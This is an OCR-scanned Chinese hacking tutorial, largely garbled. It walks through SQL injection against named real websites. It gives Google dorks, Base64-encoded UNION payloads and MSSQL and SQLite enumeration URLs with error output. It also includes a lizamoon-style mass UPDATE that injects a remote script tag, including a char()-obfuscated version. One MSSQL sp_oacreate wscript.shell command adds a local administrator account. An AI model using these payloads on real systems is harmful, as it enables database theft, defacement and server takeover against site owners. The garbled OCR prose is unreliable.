fl 2T ? (it f SULBRIMAKRZ SRl PRysaimng, )ik 2 2t s, 48 A St SQLIG SR A SR e, S8 .
PRI T A2 BRI B IMATR 2 ], PR2uantt, )X 2.2 il i, RIax 2% X THEARX R, BAGESZ, I
LA THAMAS,
I 20518 Base64 48 5k ARG ? X MARBIPREE (002 AMiE, TR ERE2A40NGE, kA, AR, R PR I
SQLT LIEALSIRA 7, fifiikia X,
LA Google T imdkSQLIE ASRMIIMGER, KT 20X 2 Hih: ‘

inurl:news.php?id-

inurl:*.php?id-12 ‘
inurl:.php?articleid= I
|

I AL, WIS, GETIA BT Y1 BB, k& TRk, I
B2 PR AS AL, R ARARLR T, PRIEIRA UL IERY R Ak, ABAM? AU AR YT Baseod I
o RAME S, AR T, BASRXE . MR, A RBRAL Baseot BIRMBARIRECY, MARLMERHE T ATyl
I Wisk HELEE, B TSQLUIA. B L, KRBT M MBaseodif] urliM 3% Bifr (T AL, PRBEMREIT AL, A, # I
1 webshellsk Ik 758, PRa%M Emeefi “ma" 1 EAE 7o fiXYBaseotRIEIREA L, Lilnd T 15,
W0, AR IR 2 K Baseo1 RIZEA
I Base6 A — PN 10, Wil ifst, ATy e, &y, 05, X7, it Fhdi, X Ao HEXSR, IR I
JEHEXS Ry, MULP AN, B Bb Y PR A BUE 0%, KT xR L nib A — PR (A TLARPHY
I Base6iT i) , MRAAIARE, i XA ARMN A Basco M FTE 1 H. I
BN, AT KT A TN, I fES Ak bRy :

inurl:.php?id=13 | I

MB 2., Baseor%iiFii AR HI XIET 13" BEALRH:

inurl:.php?id-MTM- ‘

b2 WA, BRLXHP, - I
Google inur: php7id=MTM= B

Search About 11,400 results (0,24 seconds)

Everything favehotel Denpasar - Fave Hotels
wow. favehotels com/location php?id=MTM= - Indonesia
Images Located in the heart of Denpasar this fave location is the preferred hotel of business

Maps travelers. Major international and local banks, government offices, hospitals, ...

Videos The Indo-. Amam:an Ans Council, (IAAC) presents the Sixth Annual ..
ineviews.com/around_town_details php?id=MTM

News NkaNYSep(mbe?thODSThldAmncaAnC incil, (IAAC) is proud

Mose to present the Sixth Annual IAAC Erasing Borders 2009: Exhibition of ...

RUMAH TERAS SOLO, BANDUNG, CISARUA BOGOR
Winnipeg, MB v rumahteras com/spesifikasiprod php?id=MT - Translate this page

Change location PRODUCT DEYAII. Rumah Teras Solo. Rumah Teras Solo adalah konsep “Guest
House Keluarga “dipusat kota . Dengan Arsitektur perpaduaan Artdeco dan

The web

Pages from Canada www techmodi com/demolyipitclone/deals php?id=MTM=

INDUSTRIES PAGE SLIDING SCRIPT > <fhead> <body > <iframe
Aliresults ~ hames i php?id=~MTHIZ" height="91"

Sites with images

Sales Executive SE Metro litan Land: Corporate Yebsit 2
More search tools metropoBtaniand com/c index php?id=MTM= - Translate sp'ge

Career. Sales Executiv e(SE) Male/Female, Max 31 years olg:

Min 2 years experience in property. insurance. of automotiygf,

GG, R4 s E AR A TS, R M Ay —F uIBAF I Webshell, F5IWebshellif X fi h5| LikfE ¥ PR ES. )
php?id-MTM- W php?id-13, RAELE R L Baseos 2, i sChs PIRFET EAREBA" 13 KT TI0. php?id-13 MFR515
KAWL, EHPEAS S, HATARAEBMGS, BRBEAK
Base61 4.,

Welcome To IQ Cou@n/ulle <meta http-equiv="Content-Type ... I

N ——




aZHTA

l B-M‘iﬁm_[ beeot® | ws | [ scnowrs | [
[ esE | [ meswE | mE [ 3 | w4 [wEgmAEsEs

BRR:
13

_ Vo
AR (j’?’, FH+-sikic

BT B Baseot BB 51: MTMn, BAGooglef 5115 — AW 4l Ffoil:

http://www.favehotels.com/location.php?id-MTM~
REA:

http://www.favehotels.comlocation.php?id-MTMn
FANAR 7 SQLISHH W % :

I You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use

near "' at line 3

& http://www.favehotels.com/location.php?id=MTMn

You have an error in your SQL syntax; check the manual that

. 3 # gl

WWW.BLACKBAP.ORC

AT Il R PRI ? FRATTXH —— “php?id-13 and 117 WUl ? {E8, BaseotHibhix P ARENIIN S " "2k 45" % 20 R B RSQLIT 1] I
P17 K613 and 1-1"FIBase61 B AL " MTMgYWSKIDEMQ--", &1/ — P:
http://www.favehotels.com/location.php ?id-MTM- I
hitp://www.favehotels.com/location.php?id-MTMgYW 5kIDEIMQ-~

A GUIAL — B FEIROE 2 RF 7, i e BRI BRAL 30 1 B BRI B 1 I
AT B SBAL, RARSAIN T BRI A I 5. UM Baseod b BUR A Sk e, LSS — KR KWk, AT
YO, & rn RO 17T R, I EIERIRL:

| php?id-0 union select 1,2,3,4,5,6,7.8,9.0,1,2,3,4,5,6,7 ] I
JIB 2, 445 e Base 64MMITE A BIIBRAL :
I http://www.favehotels.com/location.php?id-MCB1bmIvbiBzZWxIY3QgMSwyLDMsNCw1LDYsNyw40SwwLDEsMiwzLDQsN I
Sw2LDc=

BUAIE BORIKE 00T A
I I The used SELECT statements have a different number of columns

N ——




aZHTA

com/location.php?id=MCB1bmivbiBzZWiY3QgMSwyLOMsNCwILDYsNywd OSwwl DEsMival DQsNSw2LD¢=

2 Fave Hotels X

HOME ABOUT FAVE LOCATIONS HOT DEALS CONTAC

The used SELECT statements have a different number of columns

. 3H ild

2ﬂmmmunnmm
fGRIC l “F AR SN 1, Pk TR G 7 SRATTESNE PR, SRR, AU B MySQLER I A M
MySQLIIR MW £ 2 UATA) |, IBATA G RL:
| .php?id-=0 union select 1 from (select count(*),concat(floor(rand(0)*2),(select database())a from information_schema.tables group by a)b |
UErBaseot il 51:
http://www.favehotels.com/location.php?id-MCB1bmIvbiBzZW xIY3QgMS Bmem9tI ChzZWx1Y3QgY291bnQoKiks Y29u Y2F 0K GZsh
29yKHIhbmQoM CkqMiksK HNIbGVjdCBKYXRhYmF zZSgpKSIhI GZyb20gaW5mb3JtYXRpb25{c2NoZW 1h Lo RhYmxleyBnem91eC

BieSBhKWI-=
PR B M thefavehotels
<ation g MCBLbmivEiSZWAd 3 QgMSBancrBtChaZVifY3Qg Y291 briQoKiks V29U N ZFOKGZsh 29y hbm QoMCk oM KHNS GV BV mFZSgokSHIGTy b 0gaSre
slmw
E]
Duplicate entry 1 TERERATaTaE for key ‘group_key'
’bm.lucmv.m

LR HIX:

X P B A N AR T, SR AT AR S8 W £ A
$at_id-base64_decode($_REQUEST['id'D;//4k & & id)§ ML ¥

$setcount=mysql_query("select at_visit from tbl_at where at_id="".$at_id."") or die(mysql_error());

/AR R B
FRATHA S L 25000, 2.2, kB E BSQLiifl, A lfirm it &, ez wid ik, &%, B2,
ATV Al 5 0B DA Ly bl 4% 0 i e B

$at_id-base64 decode($ _REQUESTI'idD;//Ak M0 &id i il {1 ¥
$at_id=(int)$at_id;

$at_id=-$setcount-mysql_query("select at_visit from tbl_at where at_id=".$at_id."") or die(mysql_error();

/7R W IR d B B

I EH A 220" Baseo1 bt I IFRE Al 1o Wn]BL AR AR B 0%OM:
| Satid-(ndbase64 decode($ REQUESTid); |

I & HIER,

Q&g (] AN AN = = I = = j=— AN [ | I

N ——



E php+MSSGLIEA

T ARORK, B SselectimPIALidEA nameld AL Ll
Hbs: LAY B580

Nik: i

FiEHb: hup:/Avww.sdzhyl.com/

s AEAL:

http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12

II
7

i35 Mland 1-1#land 1-2

http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and+1-1

|
I i 1 3

http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and+1-2

I AT

Warning: main(): PropGet() failed: %&’F £, Source:ADODB.Field Description: BOF 8 EOF thfi—A & “5U” , %% 4 ficd
RLLHEMER, P AR 2R AR, in d:\program files\magic winmail\server\webmail\www\zhengheng\performance\
sub.php on line 42

MBS 47, RUT ISR A php MSSQLIAII M, . 7 Besk:

Warning: main(): PropGet() falled: X4 2+ Source: ADODB.Field Description: BOF
REOF hH— TR AT RALUMMRRSUMR. HEOEFER-THROER.

in d:\program files\magic
winmail\server\webmall\www\ gheng\ p \sub.php on fine 41

Warning: main(): PropGet() faled: £+ 8. Source: ADODB.Feld Description: BOF
% EOF AR — MR, FFLMOCREWENR, R—PHMENRCR.
i d:\program files\magic

winmail\server\webmail\www\ \perf d Wm

http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id=12+and + 1=1+union ‘select 1

Il 4 -

Warning: main(): Invoke() failed: %1 &% . Source: Microsoft OLE DB Provider for SQL Server Description: fiff UNION iz}
1A SQL i Slehifi P & i Af H b A &b LA BB HIFA R, in d\program files\magic winmail\server\webmail\www\
zhengheng\performance\sub.php on line 41

WIS AEMSSQLBARIME AN o 33 534

R P —

: (nul)): Invoke() faled; £ B3« Source: Mcrosoft OLE DB Provider for SQL Server
: 8BS UNION ENHR) SQU MM AERIEL A A EMES ANBARANKEL. n

.
\magic i\ ib.php on Ine

Warning: main(): Invoke() falled: %4 25« Source: Microsoft OLE DB Provider for

SQL Server Description: & UNION W) SQLEBPMHATRBLAGAREN
X AHMAKRANEAL . in d:\program files\magic

sub.php on fine 41

Warning: main(): Invoke() faled: %+ . Source: OLE DB Provider for
SQL Server Description: Ffi &% . n d:\program magic

winmai\server \webmai\www\ d’b Efoifipop it




WIIiI'IF“‘F“ths;s;Eleiiﬁ\

| http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and* 1-1 +union*select+1,1,1 |
RIR Y

Warning: main(): Invoke() failed: %/F &%k Source: Microsoft OLE DB Provider for SQL Server Description: # 8% WX :
ntext 55 int A RE in d:\program files\magic winmail\server\webmail\www\zhengheng\performance\sub.php on line 41 l

hg (nul)(): Invoke() faled: R4 8o Source: Microsoft OLE DB Provider for SQL Server

tion: HEZELGR: ntext 5 nt TMF i d:\program files\magic

\pefomame\sllbﬂlvmhe“ S

SQL Server Description: # fE# 221 05¢: ntext 5 int FMHF in d:\program
files\ magic winmail\server\ \ \zhengheng)\ perf \sub.php on
fine 41

Warning: main(): Invoke() failed: %4 ®5h o Source: Microsoft OLE DB Provider for I

Warning: main(): Invoke() faled: £ 3&5). Sourger OLE DB Provider for I
SQL Server Description: FAE&S . in d:\, mmq\ﬂ. W
winmail\server\webmail\www\zheng . “G

I THEE T b, S 20, SRBATM. REEEXK, ARA4 N FRRENEE, Munion allftunion, Hnullft
PR BERIE Y, SHHORBH T, MR S finall, SEAREHDR WonfrAm, MRAGAL, WA, TG AR thit
ik 7. l
| http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+ 1=1+union *all*select *null,null,null

ﬁ#HEXWT,ﬂﬁUMONEﬁﬁmSQLﬁﬁ*ﬂﬁﬁﬁﬂﬂﬁﬁﬁﬁﬁﬂ%*ﬂﬁﬂﬂ&ﬁﬂiﬁﬁomﬁﬁﬁmmu

I http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+ 11 +union+all*select* null,null,null,null
TPk, 2T XHOR IR © o Bidland 1145806 and 1-2, 48 ool A B ECE, BINEGE, Bbloull, B, 2H
AR 5

http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and+ 1-2 *union *allselect*1,2,null,3
I R A wmnfe: 2

I WWW.BLACKBAP.ORC
T, P4, Hiphp MySqIFREAA R, b3 RHAE #o AAHIUBAE . ALLERAAA GRS SERA FRRA, o2
K @@version:

I | http://www.sdzhyl.com /zhengheng/performance/sub.php?table-performance&id-12+and+1-2+union*all*select* 1,@@version,null,3 I

\ ] URERIABACHENRRA
o Sy o e

S s A silic
= - ot ‘bmnuluuu

I
I
I
S —




phpVSSEL IA

f15i:

Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 19882000 Microsoft Corporation Personal Edition
on Windows NT 5.2 (Build 3790: Service Pack 1)

AMSSQL2000, 4 7, UMK % (KRS WA, MSSQLIEANBUYA £, BUKIULERL.) Snfo2k: db name(),

Qe

| http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+ 1-2 *union *all*select* 1,db_name(),null,3

{504 #irk: zhengheng, PRI ELERIEIE (i AR TS B4 1) 240 -
http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and+ 1-2+union +all+ select* 1,name,null, 3+ from
master.dbo.sysdatabases+where +dbid=1--

R Rand 1-2, 25 Wik name”, Wi FEEG I | *“from master.dbo.sysdatabases ™ , SRRl where4¥ dbid. | i

Adbid- VBRI, 1 AREAL: master
http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and+ 1-2+union*all* select* 1,name,null,3+ from+
master.dbo.sysdatabases*where +dbid=2--

AR A tempdd
http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and+1-2+union*all*select*1,name,null, 3+ from +
master.dbo.sysdatabaseswhere dbid=3

BB A model
http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and +1-2+unionall*select+1,name,null,3* from
master.dbo.sysdatabases*where +dbid=4—

BB £ msdb
http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and +1-2+union*all* select *1,name,null, 3+ from +
master.dbo.sysdatabases where +dbid=5-—

BOhABIN iz pubs
http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and +1-2+union+all*select *1,name,null, 3+ from +
master.dbo.sysdatabases*where tdbid=6-

BANEIE 72 Northwind
http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and*1-2+union*all* select* 1,name,null, 3+ from*
master.dbo.sysdatabaseswhere +dbid=7—

RLABANA £: StrongCRM
http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and+1-2+union*all*select* 1,name,null,3* from*
master.dbo.sysdatabasestwhere +dbid=8 -

BB £z handson
http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and+1-2+union*all*select* 1,name,null, 3+ from*
master.dbo.sysdatabases where +dbid=9-—

BB ChiBdER) #zhengheng
http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and +1-2+union+all*select *1,name,null, 3+ from +
master.dbo.sysdatabases *where tdbid=10--

BB B (jlyweb2
http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id=12+and +1-2+union*all+select*1,name,null,3+ from +
master.dbo.sysdatabaseswhere +dbid=11--

I BB 7 jlourstat

R P —




G) php+MSSBLiEA

Ty

http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id=12+and +1-2+union+all*select* 1,name,null,3* from *
master.dbo.sysdatabases ‘where +dbid=12--

[l % -
Warning: main(): PropGet() failed: %&F %, Source: ADODB.Field Description: BOF 8% EOF thfi— A2 “5U7 , sk % ifid
RLHEMER, B RERA ZoR - A M ICR . in d:\program files\magic winmail\server\webmail\www\zhengheng\performance\

sub.php on line 41

Warning: main(): PropGet() failed: %% ¥Jb+ Source: ADODB.Field Description: BOF
FEOF hH MR A" RELUMNMCROCUNME, HENEEER— P HBMCK-
in d:\program files\magic

il\ server\webmail\www\zhengheng) perf e\sub.php on fine 41

Warning: main(): PropGet() faied: £4&5h. Source: ADODB.Field Description: BOF
sk EOF FF—ME"R”, SEHFMCREHEER, PRHEBR— M HFIANCT

in d:\program files\magic

I winmail\server\webmail\www\zhengheng\

. 3]
nce\su
WWW. BIAGBAP ORG

dbid$ g 1250088 BE kA, nIREMRFS SR A0 Dl ABI0E 7o bR S iniak AR, ALRR AR A, A
At ALY B i zhengheng M, Sk RN, R IERK:

hitp://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and + 1-2+union +all+select * 1,name,null,3+ from +

Northwind.dbo.sysobjectswhere xtype=CHAB(85) and name not in (select top 1 name from Northwind.dbo.sysobjects where xtype=

CHAR(85))-
AZIRE, BRLsqififl, A R R 7, KOO Bl 4 dbo.sysobjects, BUEAA, R HIF, MBRARY
BRI, X BRNE ¢ A Ak, oG A DG T BLE DR A EES A &l X AR Northwind.dbo.sysobjects , 4§43 iR I
—fl: (select top 1 name from Northwind.dbo.sysobjects where xtype=CHAR(83)). X it top XX name H i1 £y Bn], X4~XX
AR5, XHMwop 1 — &R op 12, YIBRA M-

Products

Order Details
CustomerCustomerD emo
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Suppliers
M ETRA T SlTRANAHRY,
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http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and *1=2+union*all *select*1,id,null,3* from*
Northwind.dbo.sysobjectstwhere xtypc=CﬂAR(85) and name not in (select top 10 name from Northwind.dbo.sysobjects where xtype=
CHAR(@85)) -

RIPPRR R op XX, Gl JLAXX, & PRl AJLAXX,

T ARDAL-SEAR, TRIOA TRQAMER, K55I, R ok

http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and +1=2+union *all+select+1,id,null,3+ from+
Northwind.dbo.sysobjects*where xtype=Cl'1AB(85) and name not in (select top 10 name from Northwind.dbo.sysobjects where xtype=
CHAR(85)

PSR 2073058421

AR5 L 7, AR S

http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id=12+and+ 1-2+ union*all* select* 1,name,null, 3+ from

Northwind.dbo.syscolumns where 1D-2073058421 and name not in (select top 1 name from Northwind.dbo.syscolumns where D= I

2073058421) -

HRA T, DimselectfAdid, & ¥ Rname, from i i IE B AB 7, B O pAMABREE 77, W EAASwhere id -,
A S TAUAL G s SRR 20755, wop 34, IRZEAI& AR opA —H . BNk f, PR H. AT HRARL
B, B FRRLSEA LR PPAR Top 151 wpXXXHIHDK,  BEGE SN }12073058421 BINorthwind B U8H (1P roducts &5 1 i 17 11 44
o BB R,

http://www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and +1-2+union +all+select +1,name,null,3+ from

Northwind.dbo.syscolumns where 11-2073058421 and name not in (select top 1 name from Northwind.dbo.syscolumns where ID=

2073058421) -
BT By, AR CompanyName.... KT REFRWRAART, RTRABEE PA T, ALOREL, HLRNEIK
SRS IALOMR . UG i 200 & BRI f, AT B A )

http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id=12+and + 1-2 tunionall* select * 1,title,null,3+from*
zhengheng..Janded-

FATER Eis ORI A P imiBdin . Ao TAHL RO 7 A B zhengheng,

http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id=12+and + 1-2+union +all* select * 1,name,null, 3+ from *

zhengheng.dbo.sysobjectswhere xtype=CHAR(85) and name not in (select top 15 name from zhengheng.dbo.sysobjects where xtype=

CHAR(85)) -
I AP landed, 1dA997578592,

N ——
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http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and *1-2+union*allselect1,id,null, 3+ from*
zhengheng.dbo.sysobjects*where xtype=CHAR (85) and name not in (select top 15 name from zhengheng.dbo.sysobjects where xtype=
CHAR(@5))

7 RRtle,
http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and+ 1-2+union-all*select’ 1,name,null, 3+ from
zhengheng.dbo.syscolumns where ID=997578592 and name not in (select top 2 name from zhengheng.dbo.syscolumns where 1D~
997578592)
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IERALSilic Groupb D REA SR A RETHT L, KR XAFIQR I 170 S AT e MSN LR RTHUIR T H 1AWk Zlizamoon
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TARY, RASFIERZ, WA, AR PRGEAEDR —Ailpl 2

A AiTunes S AT TR RAT Googled &I R :

8le lizamoon site:itunes.apple.com Google 185 |
[ETTITS xams

AR TOMER (M OIOY

! Modeam ftitle> <scopt stc=hitp Mizamoon com/ur php @ mas)
Dowrdoad of subscribe 10 o0 podcast opsodes from Modem Sabahla by Radyo ODTU on
iTunes
itunes apple comsVpodcastmodenm-sabahlar i 150664 185 - 375 188

Olathe KS College Church of the Nazatene - Download free podcast ... & - pasa sz )
“A Seat at the King's Table <Altle><script

S0CoNUP IHZAMOOn COMI Php> </SCIHPL> </Mio><SCNPE SIC P /N Amocn comiur

Itunes apple comiug/podcasticlathe ks-college  /d2 16011000 - I Zitass

4

mier< =hitp: /izamoon comurphp ... & m #)
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hunes apple comipipode ast/40-haramder-ttle.  /a2136166548 . I @
40 Haramior</titlo><script Src=hitp comurphp ., '8 IH'—“VJI

40 Hacamdor 09/07/2010</titlo> <a20pt 8¢ =Atp [zamoon comiur phpr</scnpt>, 4
Hacamiler'do yoni zirve lah#‘uhawm tysioy - Toe The Line ...

tunes apple com/aupodeastia0-hasamilor-title . 13213616664 F{"Ds
! SCOPLSrc= comiur php></script P‘

Ddu vg 2 0 suscribete 3 mmmw«mgc atutos de Roportajiar do vaéi I W
WWW.DLACKDAP.ORC

JERRT i g, MRS ECE, HEAMIRRAIE, ROAKEASIRE S KT lizamoon X R, ALET—F, W
U SEHDCISE R, /N A IR A L 05 L RAS IR R P, RO st o SO A 5 A BT 5, B BT IR A B AL — A L
i, Seplmk i, 5T IEzamoon PR HDR LB 7, ARXA IR R IVRIE IR RMAR, itk 45,

il (X 2%, MAKARLRE, EABGLHT AU sud i, e alDURIRSRIZE . Bt 1, it T R4 T
peth, it T AL LA A bR I

e, PRy, R R R A R F R UM ARG Z G, R O SIN e R, B SRa A BRI
BAMEIN, THMAEANRE, BTG, RREEREeR. A 2%, AHINA ¢IURE8ME ¢, 8L AR DU AR I
S AR,

I iRl B 1L 1 e
P 2ZBARLA) fadORB S 5%, kA8, W4, W35 2K, I
B 1Se A FL ], 3 SCR lizamoon, R SEERRERER AR A s % 3% SRR 7 B AlizamooniX A IRl 20K IAME, P-4 AT
SAMIE 1 I
l "</title><script sre="http://lizamoon.com/ur.php"></script-" |

ASIEA MU T 2 LR 2K, B A urphp SRR 0L, X AIURSRERLEE MNRE,  SRERMSNELERERI— B B A R Sit, AR
Welt s (AL MU, s, urlBipagefs D CPs A1 45millions. — THRII RO AL IR 2 A BRHIA 7k FRIUI, ok fik i
hosts WHERR 1 :
i 127.0.0.1  lizamoon.com |
HHEA IR, 15 PhlE AR fTmssql2005+ {7 fTaspnet AR R Sh, M T dihosts #RHER, XHORA LS, £ Afim]
fie, —AFHwebshellflMasp.ne@IFBHL 7, — Rmssq005{r {1 fiboday. #% AR Rmssql2005 {7 £t 0day, A KR ERIEA 51
kA r KT lizamoon @il EAGIE M AHEARN L. AL AK2NE 7 4, I
fili ¢ IARBR T 5], JEIK iTunes ML BEEH Y 7, HIH 2. MidiTunesl
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B3 1 banner I
‘ Server: AkamaiG Host |
mﬂﬂ%ﬂ%ﬁ&-T$§ﬂiﬁWk5mﬁﬁwﬂ,ﬂﬁ%mm%immmLEﬂ%ﬁmmﬂﬁ%HWMM¢ﬂﬂ$&ﬁﬁToI

W2 WAL 2 i, 50X, R ASK IR AR 1, JUSCR AL i 5 BT

PP IR AT S 200 2 TEA N BRI SR, Bl GFRXE webshell, SIBIXTIIRFSRE. Hii?

EHAR 7, lizamoon Al RETFITIPH IR, PHERHT IR updaeSIEIEA . DL, i ZFibAlizamoonrh [ mssql, J&
WA T mssqInlBAEMySQL—H, Ak, vl RRIARBIDK, 0 ASP access BERER NI, MW, NS
LS B Wingsi FRI0™ dlimssq12000 708, X SERUA AL 2 Bedd 0K 2R 75 B35 A1 mssq2005 BRI 7 o & T iTunes Al flmssql#l
WAt o, AN R Tunes AR Miflaccess, i HXAEALEGS, #E SO 200, MRRAKS rsnG, JiHES 7
webshell, JIFF AR LB SIPRALT . IERRAAT, MR,

RAEANHRCEAGRAG FAT, WA MRS G672, AN, I
11 BTN AL

AAMRB b G Es 0 E itk Bl v, SRsfikmdk D Xbspl ©, RARARL WAL ¢ he ? ik
AR M) MR s A
‘ http://blackbap.org/ur.php |
PR A1k I
l http://blackbap.org/sql.aspx?id=100 |
VT A SRS SR b P R LE ... (BRX, RAIRIRZ, TEASEA ISR 25408 S #@%S), R4 P indk % I

UFTIE AR :
http://blackbap.org/sql.aspx?id=100 update [YOURTABLE] set AltText-REPLACE(cast(Al{Text as varchar (8000)),cast(</title><script
src="http://blackbap.org/ur.php"></script> as varchar(8000)),cast(char(32) as varchar(8))) —
SR FRSE R A R ARE PO 2 SRISIARE MR AR S BARA BIAT 8 50 R Diln, ARRIAARERIRI R 2EUAN
i g2
P AR M S, ARl A B R AR B R AR, mssqlTE ATTABER 1% 22 Mz mssql 0] A il

AR AR AR, AR Baccess—Hild RE N, X WAL Zamoon X AL HTE A SGLIIA A ZIE, WAL EMi—fnfd
S S g

1 binifif, ek fiste, Chfsiftity sGLMA AR IRA, BRARASS, Adh-—Alnfka. T HIURE
T LIARIALEE it R ANE, kA2l P s T ERA, SGLiE % s, Wtk :
http://blackbap.org/sql.aspx?id=100 update [YOURTABLE] set AltText-REPLACE (cast(AltText as varchar(8000)),cast("</title><script
sre="http://blackbap.org/ur.php"></script>" as varchar(8000)),cast(char(32) as varchar(8))) -
ORI f G, RAEARIRCN, €00, FITAMERASSN M- WG, RARRR, 2 TR, R
PR A 2O 1, BRURER% SLIETTEA FURS KSR A (X Ay, o UREAY Ml
M RIS, PR Y 2T ALTES BA ERRAS, PRIIXH & script 5 SR AR RS 2 BURER, M fr Aol L s 2k
1% 20 BRI PRA M e 2R 50 VT PRk 20 7, TR LRSI SRR A . B ARTEABE 7, PROAS R BIA T i €% ol S ALX
Fir:
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I http://blackbap.org/sql.aspx?id-100 update [YOURTABLE] set AltText-REPLACE (cast(AltText as varchar(8000)),cast(char(60) «
char (47)+char(116) +char(105) +char(116) + char(108) + char (101) * char(62) * char(60) + char(115) * char(99) + char(114) + char (105) + char(112) *
char(116) +char(32) +char(115)+char(114) +char(99) + char(61)+ char(34) + char(104) +char(116) +char(116)+ char(112) +char (58) +char(47) +

I char(47) +char(98) +char(108)+char(97)+ char(99) + char(107) *char(98) +char(97) + char(112) + char(46) + char(111)+ char(114) +char(103) +
char(47) +char(117) +char (114)+char(46) + char (112) * char(104) +char(112) + char(34) + char(62) + char(60) + char (47) *char(115) * char(99) +

I char(114) *char(105) + char(112) * char(116)+ char(62) as varchar(8000)),cast(char(32) as varchar(8))) —

i 7, KT lizamoonBHERRISAN 2000 7o CARMA T i O N 7o MBI b A, RARLEMper BIA AL,
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K-} MssoLERmmz—

R aie, W THARBNME o IRERAKLY, TRtk 1
declare @shell int exec sp_oacreate 'wseript.shell',@shell output exec sp_oamethod @shell, run’,null,'d:\\\emd.exe /¢ net localgroup
administrators silic /add’
Wwseripti®, - d:\\emd.exerbemd.exefETE, ACERE, K&ERKHWRMBOILL, chmdemdifil, ML ralSMan N B,
T A KA
asplFVECIE A 4 FERY 7 5 1 -

WRERE

TSR WRASWIED - - EORHEESISCINRSRTFMANIT

ER RAFEEE - RASLEE - BOSLEE -

THibE AR =

SEERR declare @shell int exec sp_oacreate "wscript.shell’,@shell output exec sp_oamethod @shell,’ run’,null,”
thiTseLiEs)

WINGESIER

XPHRE

TIHER

¥ Eie

XP_CadShell ) FTAIESLIEE) GERIUA, ME—THSLEDHSWIEN—MRZNSLESMIRIT)
DOSEEAT [ JBEIEA Transact-SoL BEMMITESEAMITED

CRE) (LE5) (AR

BITEER : (AAEREIANE, BRESTNITOLED!)
|Column1
0

(FREPRENTHA 1 1)

o I F i

WWW.BLACKBAP.ORC

7i9h, XA webshellfi AR IZREE SR ARIUBLA T AL TS, asprmssq Bl i 1,




I >J' et/

Bl ATWeb 201 RE, FSAIRRBGERAE 11, WebiKPT R DR . PHP - MySQLUIBASI E— o efiti b 7, 528, h
TRV S HPHPEACMSSQLKRE o, SR Z 6T I ARy & MRS T MySQLAIMSSQL KW T PHP, &6 — A sqlite
BALTPHP, sqlited A EM T 7, IR Aa&hA IR, Msqlief AR E RIS,

fmSitic Groupfr 201155 FrNa RN TE 012 % FCHRE (hiip://hackgame.blackbap.org), M 7 &R AmIIWeb A, SRR 1 sqlite
FIMySQLEIA Vidsontie, nIBARRIIMySQLUEC , BenlBL Bl Msqlite Blii o

br, WIS, BATE. X TsqlitedEARALER, M EBITIIAZ, RITRRESES] . THIFERRALR N 7 MibASilic
GroupfPUNF WIBEAEA SCROK £ A % S fliiion — K .
sqlite3i— 1L, VWY B W IURBARE —H GecessBRoD), % Munion KBRS, 7 BEE 3% WARGBLREN: phpid
CsqliteBE A AR R LLERIBAAREA L, FREATIIMARSIH T php sqlitePRE Morder by IR 7 BB IE. 59, WIMySQLEIER
TR ORE A e i 2 R i AR IRSQLIG Bl fldn:

http://www.casymobi.cn/product.php?id=0'union*select1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,10,21,22,23,24,25
http://www.easymobi.cn/product.php?id-0'union+select* 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,10,21,22,23,24,25 -

b, A7, TR M2S:

L
@GDDQOIDO
Baaa

TEREA T, G php MySQLIVL R, Rk MRS BRI 1o Adsqlie BRI LA K Blaccessi™.mdb—H I BdiA X7, A
we BB A, R, £ TESER, MRkh 1. IB2ME AR, AR, sqliteBIMySQLAA—H, MySQL 4xi%h

information_schema®X {8l , HAESEAMN, iillM\S‘()l sl B A S AR, TR #iNA T BT information

schemaZt I PIRL— 1\3& ﬂﬂl&l.'i‘i&ﬁ%&““'l\“{lo

Noeme: Type NN PK Defo... Dﬁm'mmﬁl

& [J man Ci\users\User \Desktopiha... select * from sqlite master

name thi_name rootpage £
hg_vinner hg_winner 2 CREATE TABLE ...
sqite_sequence sqiite_sequence 3 CREATE TABLE ...

3 21

AN N O S S S NN
EEFEEEEEF

@ oo
@ Pad |
, AR O Andront |
‘: . At ¢
@
o

&IIHWII\ BAAFA TR sqlite master, &P A typename, bl name,rootpage,sql, X JUF LR B SQLY X
I . HTEAH bl b

N ——




I http://www.easymobi.cn/product.php?id-0'union‘select*1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,10,21,22,23,5q1,25 from* sqlite

_master
(EE ATy RS
| CREATE TABLE sqite_sequence(name,scq) |
B2 X %%, W

